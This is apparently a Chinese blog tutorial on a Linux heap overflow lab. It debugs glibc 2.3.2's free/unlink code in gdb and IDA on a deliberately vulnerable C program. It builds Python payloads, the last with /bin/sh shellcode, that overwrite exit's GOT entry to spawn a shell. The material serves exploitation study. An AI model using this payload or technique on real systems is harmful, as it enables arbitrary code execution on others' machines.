1. 程式人生 > >linux下堆溢位實驗和一些tips

linux下堆溢位實驗和一些tips

#include<stdio.h>
#include<stdlib.h>
#include <malloc.h>
int main (int argc, char *argv[])
{
        char *buf, *buf1,*buf2;
        FILE *infile;
        int rc;
        infile = fopen("payload.txt", "rb");
        if(infile == NULL ) {
        printf("%s, %s",argv[1],"not exit/n");
        exit
(1); } buf = malloc (32); buf1 = malloc (8); //buf2=malloc(16); while( (rc = fread(buf,sizeof(unsigned char),1024,infile)) != 0 ); free (buf); free (buf1); exit(0); //free(buf); return 0; }

把上面的程式碼儲存成heap_overflow.c用gcc -g heap_overflow.c -o heap_overflow
我用gdb除錯這個程式碼,除錯之前要先修改.gdbinit,從而更方便的除錯,我把我用的.gdbinit放在

https://github.com/niexinming/safe_tool/blob/master/gdbinit
在程式碼的15行下斷點,在gdb中輸入ni在彙編程式碼中單步執行到call malloc之後觀察記憶體中分配的堆塊的內容:
image
注意函式返回後,返回值一般都會儲存在eax中,程式在call完malloc之後,eax儲存就是堆塊資料區地址,對照

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* 前一個chunk的大小 (如果前一個已經被free)*/
  INTERNAL_SIZE_T      size;       /* 位元組表示的chunk大小,包括chunk頭       */
struct malloc_chunk* fd; /* 雙向連結串列 -- 只有在被free後才存在 */ struct malloc_chunk* bk; };

可以知道0x40143d40是前一個堆的大小(如果前一個堆被釋放的話),0x00000029是當前塊的大小(包括塊頭),後面的是分配給堆的資料,而malloc執行完之後,指標指向的也是堆資料區開頭
在gdb中按一次n,看下一個堆分配的狀況
image
因為前面的堆是佔用的狀態,所以,0x080499a8的值是0x00000000,而因為是第二次分配堆地址,可以看到頂塊的佔用減少了16個位元組,由第一次分配的0x00021659變成第二次分配後的0x00021649

如果足夠細心,上面堆快大小比實際大一個位元組,因為
image
堆記憶體中要求每個chunk的大小必須為8的整數倍,因此chunk size的後3位是無效的,為了充分利用記憶體,堆管理器將這3個位元位用作chunk的標誌位,典型的就是將第0位元位用於標記該chunk是否已經被分配,所以當通過gdb以二進位制檢視檢視chunk size的時候,可以看到那個標誌位的值
image

因為堆溢位最主要的是要進入unlink這個巨集函式,所以為了方便除錯,要先確定glibc的版本
image
可以確定我的glibc的版本是2.3.2,到官網把原始碼下載下來下載地址:http://ftp.gnu.org/gnu/glibc/glibc-2.3.2.tar.bz2

在除錯的時候走到call free 的時候在gdb中輸入si進入到free函式中,但是我在除錯的時候,發現glibc的原始碼與反彙編的程式碼有點對不上,於是,我用gcc把程式生成一個帶靜態庫的可執行檔案(使用命令:gcc -g heap_overflow.c -o heap_overflow -static),然後下載下來,用ida開啟,先檢視free函式(因為我在glibc原始碼沒有找到對應的函式,所以我用ida開啟)
image

  if ( _free_hook )
  {
    _free_hook(a1, retaddr);
  }

上面的程式碼判斷是否有記憶體鉤子,如果有執行鉤子函式,如果沒有就往下

 else if ( a1 )

上面的程式碼判斷釋放的地址是否存在

    v1 = *(_DWORD *)(a1 - 8 + 4);
    if ( v1 & 2 )
    {
      munmap_chunk();
    }

上面的程式碼中的a1是堆的資料區地址,a1-8+4其實a1+4的地址,其實v1就是堆的size的地址,因為size的後三位是作為標誌位的,所以if ( v1 & 2 )其實是在判斷當前chunk是否是通過mmap系統呼叫產生的(其實這個判斷程式碼是

#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

的巨集展開)

    else
    {
      v2 = (int)&main_arena;
      if ( v1 & 4 )
        v2 = *(_DWORD *)((a1 - 8) & 0xFFF00000);
      *(_DWORD *)v2 = 1;
      int_free(v2, a1);
      *(_DWORD *)v2 = 0;
    }

上面的程式碼先判斷當前chunk是否是thread arena,而if ( v1 & 4 )這個程式碼則是

#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

的巨集展開
如果chunk size的後三位要是000才能進入到int_free函式,所以chunk size必須要是8的倍數

下面進入到ini_free函式
image
在ini_free函式中首先判斷釋放的指標是否存在

    v2 = a2 - 8;    ///v2儲存的是prev_size的指標
    v3 = *(_DWORD *)(a2 - 8 + 4); //v3儲存的是size的值
    v4 = *(_DWORD *)(a2 - 8 + 4) & 0xFFFFFFF8;//v4儲存的是size與0xFFFFFFF8做&運算之後的值,其實是去掉chunk size 標誌位之後的值,也就是實際堆的大小值
    if ( a2 - 8 > -v4 )
    {
      v16 = check_action;
      if ( check_action & 1 )
      {
        v17 = stderr;
        v18 = *((_DWORD *)stderr + 15);
        *((_DWORD *)stderr + 15) |= 2u;
        fprintf(v17, "free(): invalid pointer %p!\n", a2);
        *((_DWORD *)stderr + 15) |= v18;
        v16 = check_action;
      }
      if ( v16 & 2 )
        abort();
    }

上面的程式碼中if ( a2 - 8 > -v4 ) 這個判斷堆指標是否溢位,如果chunk size太大,則可能會導致堆指標溢位。
再往下看:

    else
    {
      v5 = *(_DWORD *)(a1 + 40);
      if ( v4 > v5 )
      {
        if ( v3 & 2 )
        {
          v15 = *(_DWORD *)(a2 - 8);
          --dword_80AE5EC;
          dword_80AE5FC -= v15 + v4;
          munmap((void *)(v2 - v15), v15 + v4);
        }
        else
        {
          v21 = v4 + v2;
          v19 = *(_DWORD *)(v4 + v2 + 4);
          v20 = v19 & 0xFFFFFFF8;
          if ( !(v3 & 1) )
          {
            v7 = *(_DWORD *)(a2 - 8);
            v2 -= v7;
            v4 += v7;
            v8 = *(_DWORD *)(v2 + 8);
            v9 = *(_DWORD *)(v2 + 12);
            *(_DWORD *)(v8 + 12) = v9;
            *(_DWORD *)(v9 + 8) = v8;
          }
          if ( v21 == *(_DWORD *)(a1 + 84) )
          {
            *(_DWORD *)(a1 + 84) = v2;
            v4 += v20;
            v13 = v4 | 1;
          }
          else
          {
            if ( *(_BYTE *)(v20 + v21 + 4) & 1 )
            {
              *(_DWORD *)(v21 + 4) = v19 & 0xFFFFFFFE;
            }
            else
            {
              v10 = *(_DWORD *)(v21 + 12);
              v11 = *(_DWORD *)(v21 + 8);
              *(_DWORD *)(v11 + 12) = v10;
              *(_DWORD *)(v10 + 8) = v11;
              v4 += v20;
            }
            *(_DWORD *)(v4 + v2) = v4;
            v12 = *(_DWORD *)(a1 + 100);
            *(_DWORD *)(v2 + 12) = a1 + 92;
            *(_DWORD *)(v2 + 8) = v12;
            *(_DWORD *)(a1 + 100) = v2;
            v13 = v4 | 1;
            *(_DWORD *)(v12 + 12) = v2;
          }
          *(_DWORD *)(v2 + 4) = v13;
          if ( v4 > 0xFFFF )
          {
            if ( !(*(_BYTE *)(a1 + 40) & 1) )
              malloc_consolidate(a1);
            if ( (int *)a1 == &main_arena )
            {
              if ( (*(_DWORD *)(dword_80AE1B4 + 4) & 0xFFFFFFF8) >= mp_ )
                sYSTRIm(dword_80AE5E4, &main_arena);
            }
            else
            {
              v14 = *(_DWORD *)(a1 + 84);
              heap_trim(v2, dword_80AE5E4);
            }
          }
        }
      }

這段程式碼終於找到對應的原始碼了(在malloc.c:4138):


    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

#if TRIM_FASTBINS
        /*
           If TRIM_FASTBINS set, don't place chunks
           bordering top into fastbins
        */
        && (chunk_at_offset(p, size) != av->top)
#endif
        ) {

      set_fastchunks(av);
      fb = &(av->fastbins[fastbin_index(size)]);
      p->fd = *fb;
      *fb = p;
    }

    /*
       Consolidate other non-mmapped chunks as they arrive.
    */

    else if (!chunk_is_mmapped(p)) {
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);
      assert(nextsize > 0);

      /* consolidate backward */
      if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);
      }

      if (nextchunk != av->top) {
        /* get and clear inuse bit */
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

        /* consolidate forward */
        if (!nextinuse) {
          unlink(nextchunk, bck, fwd);
          size += nextsize;
        }

上面的程式碼首先檢查當前塊的大小是否是屬於fastbins(我在記憶體中檢視max_fast的大小隻有72,也就是說,當前堆快大於72的時候就可以進入到合併堆快的操作中了),後面的操作就行先判斷prev_size的標誌位是否釋放,如果前塊堆如果釋放,那麼就和當前堆合併,也就是進入到unlink這個巨集函式中,然後判斷後面的堆快是不是空閒,如果空閒的話,再合併
下面我進到構造一個payload,然後到_int_free中去除錯一下
payload:

import os
os.system("rm -f payload.txt")
data="a"*32+"\x58"+"\x00"*3+"\x58"+"\x00"*3
f=open("payload.txt","wb")
f.write(data)
f.close();

在程式的第15行下斷點,記錄下buf的地址
image
buf的地址是0x08049988,此時這段資料區間為空
然後在20行下斷點:
再次檢視buf中的資料:
image
這裡注意這裡覆蓋的size值必須大於0x48,而且size的後三bit要為0,比如0x58轉換成二進位制時就是‭01011000,其中後bit是000,代表著三個標誌位,最後一個bit為0則是代表區塊已被釋放
在gdb中輸入si後進入到free函式後一直輸入ni一路走到int_free中
,進入init_free函式之前要檢視一下引數
image

然後往下執行:
image
上圖是第一個判斷點,判斷要釋放的指標是否為空

image
上圖是第二個判斷點,判斷堆指標是否溢位
image
上圖是第三個判斷點,判斷當前塊的大小是否是屬於fastbins
image
上圖是第四個判斷點,判斷chunk是否是通過mmap系統呼叫產生的,這個的判斷相當於

#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

巨集展開
image
上圖是第五個判斷點,判斷上一個chunk是否是空閒,這個判斷相當於

#define prev_inuse(p)       ((p)->size & PREV_INUSE)

的巨集展開

經過很多對於堆快的檢查之後,後面進入到合併堆的操作了,也就是進入到unlink(p, bck, fwd);這個巨集函式中

這一步有很多文章在講,我就不詳細講原理了,直接開始除錯
在除錯之前,我把payload改成

import os
os.system("rm -f payload.txt")
data="a"*32+"\x20"+"\x00"*3+"\x58"+"\x00"*3
f=open("payload.txt","wb")
f.write(data)
f.close();

然後進入gdb,在20行斷下
檢視一下buf地址中資料
image

按c繼續執行
image
發現程式崩潰,崩潰的地方是,mov DWORD PTR [edx+12],eax 程式正嘗試把eax的值寫入地址edx+12地方,由於edx為61616161,是一個非法的地址,所以程式報錯,我把斷點下在0x4008d365(也就是崩潰的地址再往上一點的地址),檢視edx和eax是哪裡來的
image
通過檢視記憶體中的值,我可以看出,ecx儲存的是指向buf1堆頭的地址,edi儲存是指向buf1堆體的地址,esi儲存的是本堆塊的size值

0x4008d365 <mallopt+1653>:  mov    eax,DWORD PTR [edi-8]  //取出上一塊堆塊的大小放入eax
0x4008d368 <mallopt+1656>:  sub    ecx,eax //本堆塊地址上移0x20個位元組
0x4008d36a <mallopt+1658>:  add    esi,eax //計算合併之後的大小
0x4008d36c <mallopt+1660>:  mov    edx,DWORD PTR [ecx+8]
0x4008d36f <mallopt+1663>:  mov    eax,DWORD PTR [ecx+12]
0x4008d372 <mallopt+1666>:  mov    DWORD PTR [edx+12],eax
0x4008d375 <mallopt+1669>:  mov    DWORD PTR [eax+8],edx
0x4008d378 <mallopt+1672>:  mov    edx,DWORD PTR [ebp-16]
0x4008d37b <mallopt+1675>:  mov    edi,DWORD PTR [ebp-20]
0x4008d37e <mallopt+1678>:  cmp    edi,DWORD PTR [edx+84]

上面的彙編程式碼對應原始碼是:

        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);

檢視ecx-eax
image
從上圖中可以看到地址ecx-0x20+0x8和ecx-0x20+0xc這兩個位置都可以被控制的,也就是說,我們獲得了一次向任意地址寫任意值的機會
這裡有兩個問題,第一:向哪裡寫,第二,寫什麼
向哪裡寫?
常規的方法是覆蓋got表
關於got表的資料:http://blog.csdn.net/qq_18661257/article/details/54694748
通過objdump -R Dheap_overflow來檢視
image
因為程式碼執行完之後執行exit,所以寫入的位置是got中exit的地址,也就是0x080497b0

寫入什麼呢?
首先我先把找到的shellcode放入記憶體中,然後把shellcode的起始地址寫入就好

我把payload改一下:

import os
shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
print len(shellcode)
os.system("rm -f payload.txt")
data="a"*8+"\xa4\x97\x04\x08"+"\xb0\x99\x04\x08"+"b"*16+"\x20"+"\x00"*3+"\x58"+"\x00"*3+"\x90"*35+shellcode+"\x00"*4+"\x01\x00\x00\x00"
f=open("payload.txt","wb")
f.write(data)
f.close();

在第20行的地方下一個斷點,然後觀察記憶體
image

記憶體佈局好之後,我執行過free之後,檢視0x080497b0地址的值
image
發現地址0x080497b0已經被成功的寫入了shellcode起始地址0x080499b0,成功的劫持了exit函式,再往下執行就會跳到shellcode的地址去執行任意程式碼了
image
直接執行這個程式的話就會彈出/bin/sh,也就是shellcode執行的結果
image